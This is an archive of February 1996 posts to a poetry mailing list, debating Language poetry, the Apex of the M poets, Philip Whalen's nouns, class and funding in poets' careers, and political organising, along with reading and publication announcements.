>Information Systems
>University of Sydney NSW 2006 Australia
>[redacted]
>PH:(02)[redacted]
>FAX:(02)[redacted]
>

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638. **Edward Foster**
Re: the none
Mon 26 Feb 1996

---

larry: but O did not ground the work in a republic. that's where the words found themselves, in spite of themselves, o polis. there's all the difference. the gloom wasn't in the eyes either, for that matter. -ed

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639. **Edward Foster**
Re: the none study
Mon 26 Feb 1996

---

jonathan levin's comments lead in many good directions. in fact, emerson was/is deeply misread, largely because of smiley poets/philosophers/ theologians who made him genteel and a gentleman. he is neither. he is absolutely the core in a range from nietzsche to stein; either would be "unthinkable" without him. read

"experience" careful and you'll know why duncan thought of himself as absolutely emersonian. transcendence in emerson is not the mystery behind the veil or the smile in mrs eddy, but, strictly, recognition of how the mind works when freed of logical constraint. one great dilemma is olson's anti-emerson stance (excepting that curious beloit admission), for fenollosa did not see the east truly but rather a confirmation of emerson's east. one of the odder points in literary history is that fact that whitman and pound actually travelled the same road. -ed

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640. **ryan johnson**
Re: Trans Sending
Mon 26 Feb 1996

On Sun, 25 Feb 1996, Chris Stroffolino wrote:

> Hey Patrick--
> I think the line is
> "You know that you're over the hill
> When your mind makes a promise that your body can't fill"--
I guess I'm tipping my pop-culture hand here, but just wanted to suppose this might be some source-like thing for those lines in the film *Top Gun*, which I never saw but heard an ad for on TV the other day--
"Son, your ego's writing checks you're body can't cash."
Heehee--Ryan

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641. **Joe Amato**
old thread...
Mon 26 Feb 1996

---

just picked up the sunday chicago trib. yesterday to read the following on the front page:

ASSIMILATION PUTS TRIBAL CULTURES AT LOSS FOR WORDS

Native languages continue to drift toward extinction

By Paul Salopek
Tribune Staff Writer

A language vanished on Jan. 15 in Massachusetts when a 76-year old singer and storyteller named Red Thunder Cloud died. He was the last known fluent speaker of Catawba, a Sioux-related language. A year ago, it was Northern Pomo that linguists pronounced dead along with its last native

speaker, an octogenarian woman from California. Eyak, locked inside the head of only one elderly Alaska native, could be next. So could Cahto. Or Coast Miwok. Or, for that matter, any of the Amazonian tongues that are thought to be disappearing at the rate of one a year. The world's small, tribal languages---each one representing millenniums worth of accumulated knowledge and culture---are drifting into extinction at an unprecedented rate, experts say. In the United States---where linguistic experts estimate that 155 of the surviving 175 Native American languages are falling permanently silent---language death is already well-advanced.

the article continues on to detail what is being done about the situation---govt. monies, etc...

anyway, yet another recent twist on the pomo... controversy...

joe

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642. **Rod Smith**

Re: trans sending etc.

Mon 26 Feb 1996

H. Gould wrote: "If L poets claim that "instrumental" language supports the power structure and that therefore "deconstructive" non-referential language is the essence of liberating poetics, then the M poet claim that knowledge about the world is necessary & has consequences seems an inevitable & healthy reaction."

This statement is so full of charicature that to respond to it is extremely difficult without being seen to have bought into its terms. The range of positions that have been represented in L=A=N=G=U=A=G=E, Poetics Journal, Temblor, etc. can in no way be so simply characterized. & the idea that these poets disavow the consequence of knowledge is absurd. Also, of the many ideologies they engage, deconstruction is not one you will find heavily recurrent. _Apex of the M_ has published three issues, the first one included a preface which consisted of a "radically transparent" (to use their term) oedipal attack followed by a bunch of poems, some of which were good. The second & third issues seem pretty much to have followed the template of the first with the preferatory attacks becoming less agressive. The "if/then" construction of the above statement does not follow from even a quick reading of the texts refered to. --Rod

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643. **Charles Smith**
Re: Trans Sending
Mon 26 Feb 1996

Ron Silliman writes:

The interesting case, it seems to me, would be Whalen, who seems genuinely and profoundly spiritual without using it to make claims for authority in his work. It's simply a fact of the writing, take it or leave it. (I find it most evident in his use of the noun.) This is a strategy that has been taken as well by many later writers, Norman Fischer, Fanny Howe, Steve Benson, Alan Davies, Kit Robinson all being fine examples. ..... Ron, could you talk more about how you see Whalen using the noun? I think Snyder may sometimes approach this when he's not caught up in making a "point," something he'd characterize as "spiritual materialism." What about the noun in Oppen? Another poet I'd look at here is Sobin who so often brings across a sense of the numinous through his nouns, despite his assertions that his work has been a sruggle to get away from their static quality.

I'd also be inclined to add Larry Eigner to your list above...

all best,
Charles Smith

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644. **Henry Gould**
Re: trans sending etc.
Mon 26 Feb 1996

Rod Smith wrote: "The range of positions that have been represented in L=A=N=G=U=A=G=E, Poetics Journal, Temblor, etc. can in no way be so simply characterized." My statement was reductive, granted. But I don't think it can be denied that among the wide range of poetries & theoretical positions proposed by the langposse, among them has been a specifically political argument that by emphasizing the materiality, the graininess, of language itself, Language Poetry resists unthinking conventional processing of the socio-political status quo (as represented by the New Formerlists demand for reader-friendly transparency). And I think it's ironic that these M poets counter the L position now, almost a generation later, on political grounds. In both cases an appeal is made to a certain approach to style, rhetoric and content as representing political progress and a healthy poetics thereby. I would argue that all poetry is rhetorically based, that emphasizing materiality is only another kind of rhetorical maneuver - and that, paradoxically, rhetoric and technique are only the BEGINNING of poetry. A good example of how political

lenses have been misapplied from generation unto generation was the article on Willa Cather which appeared in NYker about six weeks ago (unfortunately I fergit the author). - Henry Gould

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645. **Edward Foster**
Re: Trans Sending
Mon 26 Feb 1996

---

ron: but in yr attack on claims for transcendence you sound as authoritarian as the most olympian of the transcenders. there may be unexamined claims in yr own position. the mix of pound, steve forbes, and new critics won't do. or vto suggest that all the new critics were homophobic, say. i've had to deal with quite a few "materialists" on that score. -- isn't the problem with the materialist in questions of transcendence a matter of refusing to admit even the possibility of something that one hasn't seen?

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646. **Ward Tietz**
Presentation/Performance
Mon 26 Feb 1996

I'll be in Providence in a few days, presenting/performing recent work at Brown on Monday, March 4th at Blistein House, 57 Waterman Ave., at 2 pm. Mark McMorris and Gale Nelson will join me in performing a few of the pieces. I look forward to seeing anyone from the list who might be able to attend.

Ward Tietz

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647. **Joseph Zitt**
New Work (Correction)
Mon 26 Feb 1996

And here it is again with the correct URL *sigh*
- - - - - - - - - -
Swallowing my nerves and breathing deeply:
I've put what should be my next chapbook
(assuming I ever get to putting it on paper)
"tsiuf (the act of floating above)"
up on the Web as an Adobe Acrobat file:
http://www.realtime.net/~jzitt/tsiuf/pdf1-24.pdf

It's the first 24 sections (one page each) of what will grow to be a very long work (I hope).

I'd appreciate any feedback, of course...

A description from the preface:

tsiuf (the act of floating above) is
 . a mechanized inverse kabbalistic jabberwocky
 . an attempt to wrest meaning from the jaws of chance
 . a hubristic ad-hoc American Jewish I Ching.

My goal in writing it: to create a large work in small sections, each part of which surprises me with unexpected demands. The core of the work is a text, apparently in Hebrew, generated by random processes in a computer program. The program created a list of ten thousand Hebrew letters, spaces, and line endings, organized into lines of one to five "words", each of which is from two to five letters long. The result was 668 lines of text. I examine the words in each line of text as if it were the statement of an oracle. A few real Hebrew words appear; for the others, I assume that the creator of the words created them by combining existing Hebrew words and search the dictionaries for what those words might have been. Once I have translated the Hebrew line, I then use the translation as the source for a column-long text in English. (Some Hebrew words appear in the English text, positioned so that the reader who does not read Hebrew is not missing important information.) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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648. Aldon L. Nielsen
Re: message in a bottle
Mon 26 Feb 1996

There's a fat man in the bathtub with the blues.
--Lowell George

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649. Maria Damon
Re: Presentation/Performance
Mon 26 Feb 1996

---

ward, wish i cd make it, shoot. have fun and prosper.--maria d

↑ Index

650. **Chris Stroffolino**
Re: message in a bottle
Mon 26 Feb 1996

---

aldon--
stayed on the backroads so i wouldn't get weighed....

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651. **Chris Stroffolino**
snoozers
Mon 26 Feb 1996

Dear MW, if you're going to use oedipal, why not use Althusserian "hailing" as well--at least that way there's no Lew Gouging out his eyes after couplating with susan b. (sorry charlie--I mean copulating). Creeley, for instance, is not an L poet. I don't even know why I'm saying this (I must be bored or lazy) but it seems one can view them as a REACTION to L as you do, or an extention of Creeley and Howe.....I guess.... as for me, since I have NO book coming out, I guess I'm a NO poet (or a NOH play)....cs

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652. **Rod Smith**
Re: query: book distribution
Mon 26 Feb 1996

Was going to backchannel this but given the recent slew of new sign-ups to the list thought I'd make it "public"

Wendy Battin-- Please add the store I manage, Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007, ph [redacted], to your list of small press oriented bookstores. We're not on the web yet but that's a possibility. Bridge Street is a humanities bookstore unusually well stocked in poetry, cultural theory, philosophy, etc. Mail order has become an increasingly large percentage of our business, which is a great help as we're facing the challenge of a new Barnes & Noble superstore 2 blocks away. The store also hosts readings-- Joan Retallack, Rosmarie Waldrop, Charles Bernstein, Barrett Watten, Tom Raworth, Stacy Doris, & many others have or will be reading. I edit & publish _Aerial_ & Edge Books which are supported, in part, by the store. e-mail add for orders/inquiries is [redacted].

Best,
Rod Smith

---------- I'll be part of a panel on electronic publishing at the AWP Convention in Atlanta this April; I'll be doing a

presentation on using the internet to keep books in print, to distribute them despite the economic pressures that are driving small & university presses out of bookstores, etc. (Given all the scares about internet as the death of the book, it seems important to turn attention to the alternate economy the net can sustain.) I've run across a few instances of small presses and bookstores marketing their stock on mailing lists and on the web; I'd like to know more and to make these resources more widely available, and this convention seems like a good start. If you know of major distributors on-line--especially those dealing with small press books--or poetry bookstores, presses, samisdat networks with websites or email addresses, please send them to me, and I'll see that they're distributed as widely as I can manage. I'll get them out at AWP, and I'll post them on the CAPA site as well.

Many thanks,
Wendy

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653. **Ron Silliman**
dead horses, live theories
Tue 27 Feb 1996

Mark,

Would that every post to this list had the passion and white-hot intensity of thought of yours so often have. However, this aside,

"But I've been on this list about 18 months, and I've not seen one mention of Charles Borkhuis' excellent article in ONTHEBUS which discusses possible relations between surrealism and language writing. I've not seen anyone engage with the incredible criticism Steve Evans has written on post-language writing in the Oblek anthology... But how many times has Apex been the subject of discussion on this poetics list? How many times have they even suddenly provided a name by which a whole generation of poets might be known? What's that about? Do they really offer the most significant post-language theories? Does their sensationalism simply make for more enjoyable e-talk? Do they provide a convenient way to avoid thinking about the complexities of influence?"

brings up a couple of thoughts. The first being that I recall specifically discussing Steve Evans wonderful work from The New Coast (I agree with you about its importance) here and elsewhere. The second being that I don't think people (me, anyway) generalize from the Apexers to "a whole generation" (not in your dreams, Lew), but that what they have done/are doing is nonetheless important simply for having a coherent shape to it, whatever the internal contradictions and problematics (I'll return to this below). Third, I've never

even seen ONTHEBUS (nor, for that matter, do I recall seeing it even mentioned previously here or elsewhere -- is it a magazine, a book or what?), so I suspect that the lack of discussion re Borkhuis' article may follow not from lack of interest but distribution.

Leading, instanter, to further thoughts: Certainly there's a powerful and problematic betwixt Lpoetry and surrealism (most carefully sketched out by B Watten in Total Syntax), both in terms of the work and as a model of social formation. Poets who took surrealism as a direct influence: Watten certainly, Davies certainly, Estrin certainly -- tho I think Jerry at first saw surrealism as a method of critiquing the program of the lpoets avant la lettre -- many others (Grenier might not acknowledge it, but it's clearest in the "scribble" texts how much of the back brain work is exactly what he's after)

Our friends the M poets, even by virtue of being wrong, have done more (and better) at providing a consistent shape to their argument than anyone else in what Steve Evans (I think it was he) christened "G2" [which, by the by, is where his work was discussed, if you're checking the EPC archives] and there's an enormous power to that.

One of the interesting strains I've picked up from several "G2" or "later in the alphabet" poets has been a sense, especially re lpoetry and the Apexers, that to have a shape (it does not have to be so extensive as to qualify as a program) is to make a case for power as such and that power per se is not attractive and that they'd rather not. From my perspective, this echoes a lot of what I heard in nonprofit and other voluntary association groups in the early 1970s, in particular (remember affinity groups), all those folks still scarred then by the bad taste of internicine warfare within SDS and the atrocious sexual politics of the 60s antiwar movement. But as Foucault et al could have told them (could tell us now), power doesn't go away, it just reconstitutes itself Elsewhere (very much in the sense of that word as used as a theme for an issue of Poetics Journal). The Apexers are the only group who have, as a group, addressed power directly in their critical writings. More power to them.

Ron Silliman

[redacted]

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654. **Ron Silliman**
Re: Trans Sending
Tue 27 Feb 1996

Charles Smith,

"Ron, could you talk more about how you see Whalen using the noun? I think Snyder may sometimes approach this when he's not caught up in making a "point," something he'd characterize as "spiritual materialism." What about the noun in Oppen? Another poet I'd look at here is Sobin who so often brings across a sense of the numinous through his nouns, despite his assertions that his work has been a sruggle to get away from their static quality.

I'd also be inclined to add Larry Eigner to your list above..." (your ellipsis)

I'd thought of Larry as I wrote my original comments, actually. And Oppen I can see, though I'd never characterize him as a spiritual poet. However, I do seem to be allergic to Sobin, who strikes me as precious and pompous and tries for musicality with a very tin ear.

Turning to Whalen (a chance to see if, having moved this past week, my books are in enough order yet to find something), I get lost, as always I do, in On Bear's Head. A lot of his work doesn't translate easily to email (or even HTML), but here's an example of what I was getting at:

MYSTERIES OF 1961

Lazy tongs
Jacobs ladder
magnetized flywheel
gyroscope
folding mesh ring basket

*

Mr KNIBX, a sinister

*

"_A_ is for jelly,
_B_ is for Jell-O"

*

"You are the how
they call panic"

This is a text just crying for New Critical exposition, no? Tho, as somebody noted awhile back, it's got that "not about anything, it just is" quality all over. Actually, I read it as a list, moving outward from tiny phrases to the last two sections which I think function as equivalents to those early short lines with greater weight. There is, in Whalen's work, an absolute opacity to the nominal

that is both insisted on (KNIBX) and permitted, rather than imposed (contrast here with the heroic backlighting of a Sobin or, in some places, Snyder)

The poem shifts between emotional states (as do so many of Whalen's, and so often in just this direction) from "lazy" to "panic." The next to last section is an index of the slightest shifts (from jelly to Jell-O in antialphabetical order) as ontologically absolute. What exactly IS that object that appears to be described in the first stanza and why is Mr KNIBX sinister? What I note, thinking of Whalen as a spiritual poet, is how integral the word "lazy" is to "tongs" and how "how" as a noun has the same character (no going after the precious, but picking up an accent that is noted but not named).

Ron Silliman

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655. **Schuchat**
Re: Trans Sending
Tue 27 Feb 1996

---

re Ron's remarks on Whalen's work being both spiritual and nominal, perhaps the relationship comes from the nature of zen spirituality, which proceeds from attention to surroundings, which for anyone includes language as part of surroundings. tracking surroundings. quiet sitting and other zen exercises. this is in all of whalen's poetry, I think, though my own experiences argue to me that his time in japan, where language was a dominant part of his environment, would have heightened it. but zen would be spiritual, not transcendent, to make an odious distinction.

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656. **Henry Gould**
trans sending
Tue 27 Feb 1996

"Mysteries of 1961" - a New Critical Roach

Mr. Whalen's short lyric, "Mysteries of 1961", creates dramatic tension by means of a delicate balancing of preschool perceptions (ironically "in quotation marks") with a melange of adult concerns specific to the early 60s (i.e. lazy tongs, a combination machine shop kitchenware utensil; Jacobs Ladder, a reference of course to Sunday school games prevalent at that time; and m. flywheel, gyroscope and folding mesh ring basket, all three of these last uniting high technology with low comedy (kitchenware, pet store, toy). The poem pivots on an ironic coincidentia oppositorum, that is, Mr KNIBX, an unknown sinister mad scientist who sounds about as sinister as a cartoon character on a cereal

box. The final couplet, "You are the how/they call panic" unites a child's ungrammatical mis-statement with an allusion to Pan, panic, and (inevitable for that time) the ATOMIC BOMB. These unmysterious "mysteries" of passing childhood & passing history become unaccountably and truly MYSTERIOUS when set within the urn-like frame of the poetic conundrum. Huh. Yeah well.

HGhouldihan

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657. **Kenneth Goldsmith**

Announcing the release of LINGO 5

Tue 27 Feb 1996

****

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FROM HARD PRESS

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658. **Patrick Foley**
Re: Trans Sending
Tue 27 Feb 1996

I'm gonna jump in here with a comment on the Philip Whalen poem Ron Silliman posted, "Mysteries of 1961". How does a poem like this work or fail to work? I have to assume these fragments carry associations for Whalen that they do not carry for us, and that they all have something to do with 1961. If that's not true, then the poem is a trick, and it's easy enough to make a fool of even the best reader. So you set out to write a poem composed of references the reader will not get --- why? It can work, if the reader can get some sense of the tone, and maybe some sense not of the individual bits but how they come together for the poet. It is poetry by example. This all adds up to something for Philip Whalen, or fails to in a way he finds just as interesting. If he can convey _that_ then the reader can get something without knowing what it's really all about; you get an example, what it's like to have things like this in your head, trying to make sense of them, trying not to, trying to remember 1961 or trying to forget it. Whatever. So there _is_ a sort of failure of reference in a poem like this and it's deliberate. The reasons for not evoking a similar state of mind with references the reader can understand? Who knows --- maybe Whalen just felt compelled to deal with material that is absolutely personal and didn't like explaining it all --- or maybe he didn't want to explain it because he wants to have a little privacy. And yet he wrote it, so he must hope his state of mind comes through anyway, and must hope that's enough to make a poem.

Ron Silliman sez there is an "absolute opacity of the nominal" here. "Absolute" Ron? You seem to speak English, seem to be able to figure out which are the nouns and which the adjectives (are we less avante garde when it comes to the parts of speech) --- even find some of the latter essential to the former, as you say "lazy" is to "tongs". Oh but you don't mean essential semantically, no, because then "tongs" wouldn't be absolutely opaque, I guess, and maybe the poem would be about something. Maybe the adjectives, verbs, etc. are doing all

the work, and only the nouns fail to refer. That _would_ be interesting. Btw, can't wait to tell my niece that sometimes the difference between jelly and Jell-O is "ontologically absolute". Anyone making a sandwich would have to agree. Alright, not taking any more time on this, just wanted some kind of dissent on the record. Full-dress mock battles to come. Patrick Foley

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659. **Rod Smith**

Re: dead horses, live theories

Tue 27 Feb 1996

ONTHEBUS is a perfectbound lit mag, the issues I've seen were the beat/bukowski kinda thang but well done & not exclusively that. But onto. Ron wrote:

"One of the interesting strains I've picked up from several "G2" or "later in the alphabet" poets has been a sense, especially re lpoetry and the Apexers, that to have a shape (it does not have to be so extensive as to qualify as a program) is to make a case for power as such and that power per se is not attractive and that they'd rather not. From my perspective, this echoes a lot of what I heard in nonprofit and other voluntary association groups in the early 1970s, in particular (remember affinity groups), all those folks still scarred then by the bad taste of internicine warfare within SDS and the atrocious sexual politics of the 60s antiwar movement. But as Foucault et al could have told them (could tell us now), power doesn't go away, it just reconstitutes itself Elsewhere"

It's true that power is reconstitutive, or constitutive, or constructive, as well as oppressive but I think what power there is to be gotten vis a vis poetry these days is in question. The unironic grab for power re _Apex_ has gotten them some attention but has it gotten them respect? Not in the fairly large circle I travel in, which include a lot of folks who don't particularly consider themselves friends of the American Tree, as well as many who do.

If we're talking abt audience here, we've done fairly well in DC. We now have three reading series in different locations with an average attendance of 25 to 50 people, not tons, but 5 years ago Tom Raworth read for 7 people (tremendous reading too), & from what I can see NYC isn't much different these days, maybe slightly larger numbers. There's also a certain amount of truck with the other poetry communities in town, i.e. a number of us have read in places 5 years ago we wouldn't have, the communities were much more seperate.

If we're talking about grants, that seems to be disappearing. I received a $5,000 grant from DC last year which was reduced to $1,000 due to the budget crisis. They've now cut the grants program back & are going to be giving out fewer

grants in the amount of $2,000. 15 years ago four DC American Tree gen writers received NEA's in the same year for, I believe $10,000, might have been more, which wld of course be equivalent to receiveing $20,000 now. & we know what's happening with the NEA.

The universities ain't doin' the support thing either. I know of one Buffalo graduate which has a full-time job in poetry. Everybody else is scrambling for adjunct jobs at $2,000 a class (or less) which helps but. Many are simply opting out of the university.

So, we do the poetry because we enjoy it & the people involved in it-- the work is supported at that level, but the idea that anything "material" is to be gotten from it is even farther off than it was just 10 or 15 years ago. I'm not claiming that there's no money in poetry, or that things were so great in the seventies or eighties, but there was a much greater possibility of having your work supported by some type of institution-- Jerome Sala once sd to me "The idea that there's no money in poetry is just as wrong as the idea that there's a lot of money in poetry."

There also seems to me a class question here. A number of G1 folks went to Harvard or Yale. I know of one promising younger writer there now, she'll probably get a job. Not necessarily a good job. Things can't be reduced to that, but neither can one pretend it doesn't matter. There's also a parallel here between first & second gen NY school-- Ashbery & O'Hara went to Harvard, Berrigan, Mayer, Padgett, etc didn't.

What this means is folks in our gen ARE exceedingly cynical abt power. & most of them see where it is-- it's in those "Dazzling Corporate Profits" of NYTimes & Wall Street Journal headlines, not in the personnages of the poets 10 to 30 years older than us-- everyone I know is having a hard time getting by because decisions were made at the top levels of govt & business 20 years ago that the population was costing too much. So to see someone expending energy attacking a poet because they got a job, well, save it for the gym, kid (if you can afford one, that is).

The recent Andrew Ross book _The Chicago Gangster Theory of Life_ outlines the ideology of this lunacy better than any one piece I've seen (though Chomsky is best for the details)-- we seem to have decided, or corporate propoganda decided for us, somewhere along the line, that there's not enough to go around. This doesn't seem an accurate assumption to make. The resources are there for people to live quite well, & not just Americans, if the assumption was that people mattered more than money.

--Rod

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660. **Henry Gould**

Re: dead horses, live theories

Tue 27 Feb 1996

Since Rod Smith has connected writing life with general US economic situation, I'd like to ask a general question along these lines. Tonight I'm supposed to meet with a group of writers who want to do something, be more politically active. It's our first meeting. My question: what would be the most useful & effective way for writers/artists AS ARTISTS to speak up about the situation as Rod outlined it (which outline I'm in agreement with, except in my view "institutional support" for poets has caused at least as much harm as good).

I say what would be most effective for people AS ARTISTS because I think I already know the answer as far as people AS CITIZENS - there's a world of mutual aid disaster relief community service out there to be done.

AS ARTISTS my recurrent thought over the past too many years has been to come up with some kind of extended manifesto/paper, along the lines of the Catholic Bishops statement on the economy which was done about 10 years ago & which is still relevant. The good Bishops centered on 3 basic concepts as I understand it : the rights of poor people; the common good as a criterion of social justice; and the rights of people as workers. The Bishops document would be as good an antidote to phony Buchananisms and divisive hate-mongering as any I know of.

But my 2nd recurrent thought whenever this feeble urge comes over me is a sense of futility. All politics is local, organizational, and founded in PR; we could spend 6 months coming up with a document nobody would read anyway.

Any thoughts on this? What about using an internetwork like this to develop a collective document? [I hear the shivers & shakes out there.] I'm sure this particular list is the wrong venue. I know about the writers network that focused on defeating the NEA attacks in Congress, that's probably more relevant to such a project.

I realize this is not poetics; please respond directly to me unless you feel it really must be said to poetics list. I'm at [redacted]. And any objections to discussing this on poetics will meet with my full assent.

In my view artists have no special cachet when it comes to political & social values; nor are they required in their art to deal with politics at all. But they COULD speak about the relationship between art; the good life; and social justice. And as we all know these three interrelated issues took Marx a long way...

What should I bring to this meeting tonight? - Henry Gould

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661. Tony Green
Re: Trans Sending
Tue 27 Feb 1996

Re Patrick Foley on Whalen. Figuring out the poet's feelings associations is a strategy that the poem resists. Something to be learned from that is that the poem doesn't fail, but the strategy does. Put it another way, it was never meant to sit 'that' exam.

Tony Green,
e-mail: [redacted]

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662. Martin Spinelli
Poetry Soundfiles on line
Tue 27 Feb 1996

Folks,

The Electronic Poetry Center now has dozens of audio-art and poetry soundfiles up for public use. Everything from Indigenous American song to digital sound collage.

http://writing.upenn.edu/epc/sound
http://writing.upenn.edu/epc/linebreak

We have written an extensive information page which describes various soundfile formats and their use, contains links to free digital audio player/editor software, and instructions on how to play soundfiles on a computer *without* a soundcard.

EPC soundfile formats include:
.WAV
.AU
.AIFF
.MP2(MPEG)

Have a listen. If you heed help email [redacted].

Best,
Martin Spinelli
LINEbreak Producer/Director

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663. **Rod Smith**
Re: dead horses, live theories
Tue 27 Feb 1996

HG--

Definitely bring Steve Evans &/or Jennifer Moxley to that meeting, if they're not already involved. I suspect they are. A few interesting resources:

Alternative Radio
David Barsamian
2129 Mapleton
Boulder, CO
80304

tapes & transcripts by activists-- Chomsky, Bagdikian, hooks, Marable, Nader, Sklar, etc etc

The New Party
227 West 40th St, #1303
NYC, NY 10018
ph [redacted]
e-mail [redacted]

genuine attempt to get a labor party going. Have DC address for anybody that wants it.

The Cultural Environment Movement
POBox 31847
Philadelphia, PA 19104

new movement started by George Gerbner, Dean of the Annenberg School of Communications. Focused on corporate control of media, has some excellent things to say abt how that all works, at natl & intl levels.

Communities Concerned About Corporations
c/o Organizing Media Project
#5104 42nd Ave
Hyattsville, MD 20781

just what it says.

Also there's Z magazine & Covert Action Quaterly which folks probably know of.

Rpd

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664. **Christopher J. Beach**
Re: dead horses, live theories
Tue 27 Feb 1996

A very interesting exchance between Ron and Rod. I'm not sure about the "class" difference between G1 and G2, though. Did all that many G1 folks really go to Harvard and Yale? In any case, I'm not sure it makes that much difference any more (at least in terms of getting a job in poetry) whether one went to Harvard and Yale or, say, Buffalo. (It clearly made a much bigger difference in the 1950s or 60s). Anyway, the relationship of class and education is tricky--what was Olson's "class"? (Although he was a Wesleyan and Harvard student). For that matter, what was Berryman's class (certainly not the same as Lowell's, but they ended up in much the same place, institutionally).

C Beach

> *There also seems to me a class question here. A number of G1 folks went to Harvard or Yale. I know of one promising younger writer there now, she'll probably get a job. Not necessarily a good job. Things can't be reduced to that, but neither can one pretend it doesn't matter. There's also a parallel here between first & second gen NY school-- Ashbery & O'Hara went to Harvard, Berrigan, Mayer, Padgett, etc didn't.*
>
> *What this means is folks in our gen ARE exceedingly cynical abt power. & most of them see where it is-- it's in those "Dazzling Corporate Profits" of NYTimes & Wall Street Journal headlines, not in the personnages of the poets 10 to 30 years older than us-- everyone I know is having a hard time getting by because decisions were made at the top levels of govt & business 20 years ago that the population was costing too much. So to see someone expending energy attacking a poet because they got a job, well, save it for the gym, kid (if you can afford one, that is).*
>
> *The recent Andrew Ross book _The Chicago Gangster Theory of Life_ outlines the ideology of this lunacy better than any one piece I've seen (though Chomsky is best for the details)-- we seem to have decided, or corporate propoganda decided for us, somewhere along the line, that there's not enough to go around. This doesn't seem an accurate assumption to make. The resources are there for people to live quite well, & not just Americans, if the assumption was that people mattered more than money.*
>
> *--Rod*

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665. **Thomas Bell**
bodies
Tue 27 Feb 1996

Do previous posts here on writing the body go beyond this quote?
"the body is a permanent contestation of the prerogative
attributed to consciousness of `giving meaning' to each
thing; it lives as this contestation." Emmanuel Levinas,
Totality & Infinity, trans. A. Lingis, (Pittsburgh:
Duquesne UP, 1969) 129.

tom bell

↑ Index

666. **Chris Stroffolino**
Re: dead horses, live theories
Tue 27 Feb 1996

Rod Smith raises some extremely provocative questions about class. The analogy between the 50's (Ashes, O'H) and the 60's (Mayer, Berrigan) and the g1 vs. g2. is perhaps a good starting place, but it's severely complex. On of the complicating factors, for me, has been that while the first generation NYSCHOOL did not claim to be as POLITICALLY RADICAL (at least not programmatically, but more incidentally, or as Ashes said "we merely refuse the government it's right to exist), the first wave L poets did claim to be so---despite (or perhaps BECAUSE?) the class similarities (I know this is a generalization, but I'm trying to extend on Rod's point--and there is at least SOME truth to it that might be usefully explored). This is where it seems history becomes a question (around $$$$$$$ rather than around Foucaultian power which EVERYBODY HAS NO MATTER WHAT, yippee!) And why I don't think the analogy holds. For, unlike today, the generation of Mayer, etc. (mid to late 60's) saw a general loosening up of culture. Many really thought the system (which now goes under the more benign name of "the world market") was gonna fail. More affordable colleges opened up to classes, races and genders that had previously been excluded. The Allen anthology was being reprinted over and over. Being from the lower classes, and flaunting bohemian lifestyles, was NOT considered a handicap. With the oil crisis, the bicentenial clampdown, the erection of RAYGON, things clamped down severely. And things have been in general TRYING to return to the pre 60's elitism and pieties and increasing "incentives" for being uptight, and a growing underclass that includes many college educated people. An example re college: My late mother (b. 1942) wanted to go to college severely, and was not able to (due to class, but also to some extent gender). Because she

worked her ass off, I was able in the early 80's to do so. In the five years I was in college, the tuition (i.e. price) MORE THAN DOUBLED. Had I been 10 years younger, it's probable that I would not have been able to go to college. I base this on the FACT that many of the current generation of college kids are having to drop out (and not like GINSBERG AND KEROAUC to go "on the road" out of CHOICE)--because of cut backs to publically funded schools. So, how does this SAME OLD STORY relate to the "battle over power in the poetic superstructure"?????n On one level, it may account for the tone of desperation, of divisiness, the directionlessness even of younger poets. Sure, poets have been desperate, self-pitying and divisive way before. John Berryman almost tried to commit suicide in his mid 20's (during World War II) because Harvard wouldn't rehire him. Today, one could cynically let out a communal cry: "OH, POOR JOHN!" Yet, at least in the 60's---despite many of the poetry wars going on, there seemed to be at least some shared feeling towards a common EXTRA-LITERARY enemy; and also a sense that we hurt ourselves more to be sequestered in out little boxes, in the suburbs, what have you.... What I would like to see more from my generation (given the systemic limitations) is at least an attempt to reach out more rather than mimic the tone of divisiness. For instance, re the whole M question. Yes, their polemics have been divisive in a way. But what is the point in meeting this divisiness with STILL MORE DIVISIVENESS?????????????? This is a sinking to the level that is hard to avoid, but I would like to try, and would like to be CHECKED by others, or CALLED by others when I lapse into it. I'LL CHECK YOU IF YOU CHECK ME. I mean, aesthetic differences NEED NOT always be POLITICAL differences. The problem with the POLITICAL PROGRAM that seems to follow from an assumption that DISJUNCTIVE POETIC FORMS is in itself POLITICAL is perhaps partly to blame for the "reaction" of the M poets. I DO NOT see a NECESSARY connection between the aesthetics propounded by the M (or by the Ed Foster group for that matter) and a political conservatisim or yeegahds "the christian right". If the question really is politics, isn't it possible that (andit seems even MORE OF A NECESSITY TODAY than it was when the first gen. L poets were publishing their first books; the economic/cultural bankruptcy provides a climate even more threatening to poetry and to POETS now than then----the divisiveness of the L POETS in the 70's and 80's is a luxury we CAN NO LONGER AFFORD as, to their credit, I think Charles and others have recognized recently). I do not consider myself an M POET, but at the same time I DO respect them, ROD, and not just because they published me. In the 50's the coalition that Donald Allen managed to put together did manage to in some ways, at least temporarily, break the hegemony of the mainstream pieties. Why isn't that possible today???????????? Chris Stroffolino

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667. **Jordan Davis**
PR, book distribution, political organization
Tue 27 Feb 1996

---

briefly then: would it not be a pleasure to gather the public relations/book distribution/political (and otherwise) organizational talent latent on this list toward the ends of affecting discussion _outside_ our own ellipse? that is, Rod's list of political sources is great, but charged with pathos.. why is this [our discussion] a subset of political activity, and not vice versa? Jd "that the theory of poetry was the theory of life.."

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668. **Wendy Battin**
Re: query: book distribution
Tue 27 Feb 1996

Just a quick thanks to all who've responded on list & backchannel. I'll try all the URL's when I'm finished travelling for the week & will get back to you then. Much appreciated.

Wendy

Wendy Battin
[redacted]
[redacted]
Contemporary American Poetry Archive
http://camel.conncoll.edu/library/CAPA/capa.html

↑ Index

669. **Carla Billitteri**
Rob't Dunc. on "breakdown of the body politic"
Tue 27 Feb 1996

Found this sentence in John Tytell, _Ezra Pound: The Solitary Volcano_ (New York: Doubleday, 1987), p. 299, and wonder if anyone knows more about it or has a comment:

> Another young poet, Robert Duncan, wrote sustaining certain of Pound's more rabid views, commenting that `minorities of any kind are symptoms like boils, cancers,' signs of the breakdown of the body politic."

No citation is given but presumably the quoted line comes from a letter of Duncan's to Pound.

Carla Billitteri

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670. Bill Luoma
New Pub
Tue 27 Feb 1996

---

good folks,

I have a new booklet of sound poems from the Figures called swoon rocket. 28p, $6

available from Small Press Distribution ([redacted]) or

the publisher Geoff Young at 5 Castle Hill, Great Barrington, MA 01230 or

